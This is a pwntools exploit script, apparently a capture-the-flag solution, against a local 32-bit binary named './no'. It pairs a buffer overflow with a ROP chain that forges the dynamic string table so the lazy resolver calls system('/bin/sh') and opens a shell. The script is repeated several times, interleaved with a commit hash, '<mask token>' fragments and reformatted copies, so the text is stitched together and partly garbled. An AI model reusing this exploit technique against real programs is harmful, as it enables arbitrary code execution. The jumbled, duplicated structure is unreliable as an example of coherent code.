from pwn import * 
context.log_level='critical'
dynamic=0x080496c0
dynstr_addr=dynamic+0x8*8+0x4
p4r=0x08048518
p3r=0x08048519
p2r=0x0804851a
pr=0x0804851b
ret=0x0804835f
dynstr=0x804820c
plt0=0x80482d0
read=0x80482e0
memcpy=0x80482f0
bss=0x8049800
data_addr=bss+1024
rop=flat(
memcpy,p3r,dynstr_addr,data_addr,4,
plt0,0x8,
memcpy,0xdeadbeef,data_addr+0xc
)
data=flat(
data_addr+4-(0x804822b-0x804820c),
"system\x00\x00",
"/bin/sh\0"
)
payload=("A"*26+rop).ljust(1024,'\0')+data
p=process("./no")
if False:
	gdb.attach(p,'''
	b *0x8048483
	c
	''')
p.sendline(payload)
p.interactive();

aec35cb6825ce254a472f2e464d0b873a3022381
<mask token>

<mask token>
if False:
    gdb.attach(p, '\n\tb *0x8048483\n\tc\n\t')
p.sendline(payload)
p.interactive()

<mask token>
context.log_level = 'critical'
dynamic = 134518464
dynstr_addr = dynamic + 8 * 8 + 4
p4r = 134513944
p3r = 134513945
p2r = 134513946
pr = 134513947
ret = 134513503
dynstr = 134513164
plt0 = 134513360
read = 134513376
memcpy = 134513392
bss = 134518784
data_addr = bss + 1024
rop = flat(memcpy, p3r, dynstr_addr, data_addr, 4, plt0, 8, memcpy, 
    3735928559, data_addr + 12)
data = flat(data_addr + 4 - (134513195 - 134513164), 'system\x00\x00',
    '/bin/sh\x00')
payload = ('A' * 26 + rop).ljust(1024, '\x00') + data
p = process('./no')
if False:
    gdb.attach(p, '\n\tb *0x8048483\n\tc\n\t')
p.sendline(payload)
p.interactive()

from pwn import *
context.log_level = 'critical'
dynamic = 134518464
dynstr_addr = dynamic + 8 * 8 + 4
p4r = 134513944
p3r = 134513945
p2r = 134513946
pr = 134513947
ret = 134513503
dynstr = 134513164
plt0 = 134513360
read = 134513376
memcpy = 134513392
bss = 134518784
data_addr = bss + 1024
rop = flat(memcpy, p3r, dynstr_addr, data_addr, 4, plt0, 8, memcpy, 
    3735928559, data_addr + 12)
data = flat(data_addr + 4 - (134513195 - 134513164), 'system\x00\x00',
    '/bin/sh\x00')
payload = ('A' * 26 + rop).ljust(1024, '\x00') + data
p = process('./no')
if False:
    gdb.attach(p, '\n\tb *0x8048483\n\tc\n\t')
p.sendline(payload)
p.interactive()

from pwn import * 
context.log_level='critical'
dynamic=0x080496c0
dynstr_addr=dynamic+0x8*8+0x4
p4r=0x08048518
p3r=0x08048519
p2r=0x0804851a
pr=0x0804851b
ret=0x0804835f
dynstr=0x804820c
plt0=0x80482d0
read=0x80482e0
memcpy=0x80482f0
bss=0x8049800
data_addr=bss+1024
rop=flat(
memcpy,p3r,dynstr_addr,data_addr,4,
plt0,0x8,
memcpy,0xdeadbeef,data_addr+0xc
)
data=flat(
data_addr+4-(0x804822b-0x804820c),
"system\x00\x00",
"/bin/sh\0"
)
payload=("A"*26+rop).ljust(1024,'\0')+data
p=process("./no")
if False:
	gdb.attach(p,'''
	b *0x8048483
	c
	''')
p.sendline(payload)
p.interactive();
